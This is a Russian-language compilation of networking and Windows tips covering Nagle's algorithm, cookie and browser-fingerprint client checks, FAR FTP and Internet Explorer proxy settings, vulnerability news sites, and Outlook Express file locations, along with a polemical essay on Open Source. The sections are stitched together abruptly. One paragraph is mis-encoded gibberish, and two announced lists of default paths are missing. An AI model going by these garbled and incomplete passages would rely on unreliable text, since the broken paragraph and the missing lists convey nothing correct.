Алгоритм Нагла состоит в следующем: отправляем первый пакет и, до тех пор, пока получатель не возвратит TCP-уведомление успешности доставки, не передаем в сеть никаких пакетов, а накапливаем их на локальном узле, собирая в один большой пакет. Такая техника совершенно прозрачна для прикладных приложений, и в то же время позволяет значительно оптимизировать трафик, но в некоторых (достаточно экзотических) случаях, когда требуется действительно побайтовый обмен, Алгоритм Нагла приходится отключать (по умолчанию он включен).

Для получения текущих значений опций сокета предусмотрена функция "int getsockopt (SOCKET s, int level, int optname, char FAR* optval, int FAR* optlen)" которая полностью аналогична предыдущей за исключением того, что не устанавливает опции, а возвращает их значения.



Другие способы идентификации клиента


Весьма популярный способ идентификации клиента заключается в использовании cookies: сервер вместе с баннером передает браузеру специальную метку, которую браузер, (при условии, что поддержка cookies включена), сохраняет на диске. При последующих запросах сервер проверяет наличие cookies у клиента, и если его нет, считает, что запрос выполнен не браузером, а скриптом злоумышленника.

На самом деле, такую проверку легко обойти. Злоумышленнику не составит включить в свой скрипт полноценную поддержку cookies (например, в Perl для этой цели существует готовая библиотека), а вот у легальных пользователей могут возникнуть проблемы. Некоторые по соображениям безопасности отключают поддержку cookies, тем самым становясь (с точки зрения сервера) похожими на скрипт злоумышленника.

Несколько надежнее использовать cookies для предотвращения повторных попыток входа на коротком отрезке времени и в качестве счетчика посещений. Злоумышленнику придется имитировать заход одного пользователя с различных IP-адресов и хранить множество cookies на сервере, что довольно проблематично.

Очень хороший результат дает анализ информации, возвращенной бразузером: версия операционной системы и самого браузера, языковая страница и т.д. Статистика использования того или иного программного обеспечения хорошо известна и довольно стабильна. Причем, каждый бразузер и каждая операционная система обладают своим характерным "почерком", который легко проанализировать, но довольно трудно подделать.

Вообще же, большинство злоумышленников останавливаются на имитации поля UserAgent и дальше не идут, поэтому, даже такая простая проверка их остановит.



FAR


В свойствах ftp-адреса, вызываемых нажатием <F4> (при этом курсор должен находиться на том адресе, чьи свойства хотят менять), необходимо снять флажок "ASCII mode" (по умолчанию снят) и нажать "Save" для сохранения настроек или "Connect" для установки пробного соединения без сохранения настроек.

г========================= Edit FTP address

=========================¬

¦ ftp://user:password@host:port/dir                                  ¦

¦ ftp.microprose.com                                                v¦

¦ User password:                                                     ¦

¦                                                                    ¦

¦ FTP description:                                                   ¦

¦                                                                    ¦

¦--------------------------------------------------------------------¦

¦ [ ] Ask password directly before connecting                        ¦

¦ [ ] Ascii mode                                                     ¦

¦ [ ] Passive mode                                                   ¦

¦ [ ] Use firewall                                                   ¦

¦--------------------------------------------------------------------¦

¦        [ Save ]  [ Connect ]  [ Select table ]  [ Cancel ]         ¦

L====================================================================-

Рисунок 32 Выключение режима ASCII в FAR


‚ ¬Ґ­о "Options" ўлЎҐаЁвҐ Їг­Єв "Plug-ins configuration",   ў ­Ґ¬ - "FTP-client". ‚ ®вЄалўиҐ¬бп ¤Ё «®Ј®ў®¬ ®Є­Ґ ў§ўҐ¤ЁвҐ Ј «®зЄг ­ Їа®вЁў "Passive Mode" (б¬. в Є ¦Ґ "€­вҐа­Ґв. ЋЎйЁҐ ў®Їа®бл à

Љ Є § бв ўЁвм в Є®Ґ-в® ЇаЁ«®¦Ґ­ЁҐ а Ў®в вм зҐаҐ§ Proxy (Firewall)"). Ќ ¦¬ЁвҐ "ЋЉ" Ё Ї®ўв®аЁвҐ Ї®ЇлвЄг Ї®«г祭Ёп д ©« .



Где я могу достать ping?


В штатный комплект поставки Windows входит консольная версия утилиты ping, вполне удовлетворяющая запросы непритязательного пользователя. Ping в графическом исполнении можно обнаружить в составе практически любого пакета сетевых утилит (NetInfo, CyberKit и т.д.)

Комплект разработчика Windows-приложений (SDK), входящий в частности в поставку компилятора Microsoft Visual Studio, содержит исходные тексты программы ping с достаточно подробными комментариями, что легко позволяет адоптировать ее к собственным нуждам и перекроить под собственный вкус.



Где можно узнать о самых свежих дырках и последних обновлениях приложений?


Зачастую лучшим источником информации о свежих дырках и соответствующим им заплатах является сайт производителя того программного обеспечения, которым вы пользуетесь. Одна незадача – каждый из нас использует десятки программ от разных производителей и было бы очень утомительно обходить кучу сайтов каждый день – тем паче, что эта работа давно сделана за нас.

В сети существует множество ресурсов, посвященных безопасности и всем, что с ней связано, включая дырки и выпущенные для их устранения обновления. Вот лучшие сайты на эту тему:

·         http://rootshell.com/

·         http://www.ntbugtraq.org/

·         http://www.security.nnov.ru

·         http://www.securityfocus.com/

Все они поддерживают почтовую рассылку, оперативно информирующую своих подписчиков о новых видах атаках и способах им противодействия, если таковые уже найдены. Ни одна из рассылок не является исчерпывающе полной, и чем на большее количество рассылок вы подпишитесь – тем лучше. Конечно, эта мера не гарантирует безопасности вашего компьютера (как быть с теми атаками, над противоядием против которых ломают головы все специалисты мира?), но позволит быть в курсе событий. Если уж и умирать – то хоть знать от чего! Шутка, разумеется. Своевременная установка обновлений – залог здоровья и никогда не стоит этим пренебрегать.



Где Outlook Express хранит адресную книгу?


Адресная книга хранится в файле с расширением wab. На одном компьютере может присутствовать множество адресных книг никак не связанных ни друг с другом, ни с самим Outlook Express. Для их запуска достаточно дважды щелкнуть по файлу левым мышем в "Проводнике" Windows.

Чтобы обнаружить все адресные книги достаточно задать поиск файлов *.wab по всем дискам. По умолчанию адресные книги хранятся в следующих директориях:



Где Outlook Express хранит мои письма ?


Очень актуальный вопрос! Иначе, как прикажете резервировать свою корреспонденцию, если неизвестно где она хранится? Необходимость же резервирования – тема отдельного разговора, но, исходя из самых общих соображений, все ценное обязательно должно регулярно резервироваться!

Местоположение хранимых файлов зависит как от установок самого Outlook Express, так и от версии Windows.

Чтобы узнать где находится та или иная папка, кликните по ней правым мышем и в контекстом меню выберите пункт "Свойства". Строка "Данная папка находится в следующем файле" и содержит путь к этой папке.

Рисунок 34 Рисунок 0х012 Определение пути к папке

По умолчанию принятые следующие значения.



Идеология – как средство конкурентной борьбы


Воины-смертники, готовые умереть за идею, не слишком отличаются от приверженцев движения "Open Source" – и те, и другие служат на благо того, против чего борются.

Только глупцы верят, что "Open Source" несет в себе свободу. И пока они в это верят, многие все, кому не лень, используют их в качестве тарана против монополизма Microsoft. Компании IBM и HP поддерживает LINUX отнюдь не потому, что вдавились в старческую филантропию. Под шумком идей "свободы", "открытости" и "братства" они подсаживает миллионы пользователей на LINUX, отрывая жирный кусок рынка от Microsoft. Подавляющее большинство выбирают LINUX не из-за его технических и потребительских достоинств (которым там фактически нету), а потому, что это круто. От кривого (да не запинают меня его поклонники) LINUX к коммерческим AIX- и HP-UNIX всего лишь один шаг. Немного рекламы, скидок, консалтинга и клиент его сделает! Вот истинная

причина поддержки LINUX компаниями HP и IBM.

Самой же Microsoft "открытые исходники" выгодны вот по каким причинам:

а) конкурент в лице LINUX разбивает в пух и прах все обвинения компании в монополизме;

б) позволяет чужими руками забесплатно создавать и обкатывать новые технологии;

в) способствует обучению и профессиональному росту молодых программистов, а это – кадры;

г) и так далее…

Увлеченные борьбой с монополиями, члены движения "Open Source" не заметили, как стали работать на благо этих же монополий, превратившись в мощный инструмент в их руках.

Энергию, охваченных единой идеей людей, всегда можно направить в выгодное для себя русло. Не стоит бороться с рынком. Его ресурсы – неисчерпаемые энергетические возможности. Надо лишь знать, как отобрать их.



Internet Explorer


В меню "Сервис" выберите пункт "Свойства обозревателя" и в открывшемся диалоговом окне перейдите к закладке "Подключение". Нажмите кнопку "Настройка сети", находящуюся в графе "Настройка локальной сети", затем взведите галочку "Использовать прокси-сервер" и в строке "Адрес" введите IP-адрес или доменное имя Proxy-сервера, а в строке "Порт" – номер порта (как правило, 80). Если в локальной сети есть один или несколько web-серверов, для обращения к ними в обход Proxy-севера взведите галочку "Не использовать прокси – сервер для локальных адресов".

Кнопка "Дополнительно" открывает новое диалоговое окно для более тонкой настройки, позволяя по раздельности задавать адреса и порты Proxy-серверов для http-, ftp-, Gopher- и Socks-протоколов. Конкретные значения можно узнать у администратора сети или провайдера. Чаще всего используется один Proxy для http- и ftp-протоколов, "повешенный" на 80, 8080 или 8081 порт, хотя номер порта в принципе может быть любым. Socks-сервера по обыкновению "висят" на порту 1080, а протокол Gopher в настоящее время считается достойным пережитком старины и более не используется. Галочка "Один прокси сервер для всех протоколов" будучи взведенной приводит к использованию адреса и порта http Proxy-сервера для всех остальных протоколов.

Графа "исключения" позволяет задавать шаблоны IP-адресов (доменных имен) обращения к которым будет происходить напрямую, "в обход" Proxy-сервера. В шаблонах допустимы символы-джокеры, а сами шаблоны отделяются друг от друга точкой с запятой. Например, чтобы не "проксить" web-узлы, находящиеся в доменах ru и ua, достаточно ввести следующее: "www.*.ru;www.*.uk". Подобная настройка полезна в тех случаях, когда провайдер предоставляет факультативный Proxy (т.е. позволяет выходить в Интернет как через Proxy, так и минуя оный). Разумно использовать Proxy только для далеких, забугорных, тормозных узлов, а к быстрым серверам обращаться напрямую, не прибегая к Proxy, т.к. это не увеличит и без того высокой скорости загрузки сайтов, а скорее замедлит ее за счет дополнительных "перекладных" на маршруте путешествия пакетов.


Аутентификация: если Proxy-сервер требует аутентификации, т.е. ввода имени пользователя и пароля, то Internet Explorer автоматически подставляет имя и пароль под которым пользователь вошел в систему. Для этого необходимо установить "Клиента сетей Microsoft" ("Панель управления" à

"Сеть" à

"Добавить" à

"Клиент" à

"Клиент сетей Microsoft"), а в некоторых случаях установить "Общий доступ к файлам и папкам" – Windows98 при этом добавит новые компоненты, поддерживающие большое количество алгоритмов аутентификации – в противном случае система будет передавать пароль открытым текстом, что не всегда приемлемо. Задать произвольный пароль для входа на Proxy-сервер браузер Internet Explorer не позволяет.



Рисунок 13 Рис. 0х023 Настройка Internet Explorer для работы через Proxy-сервер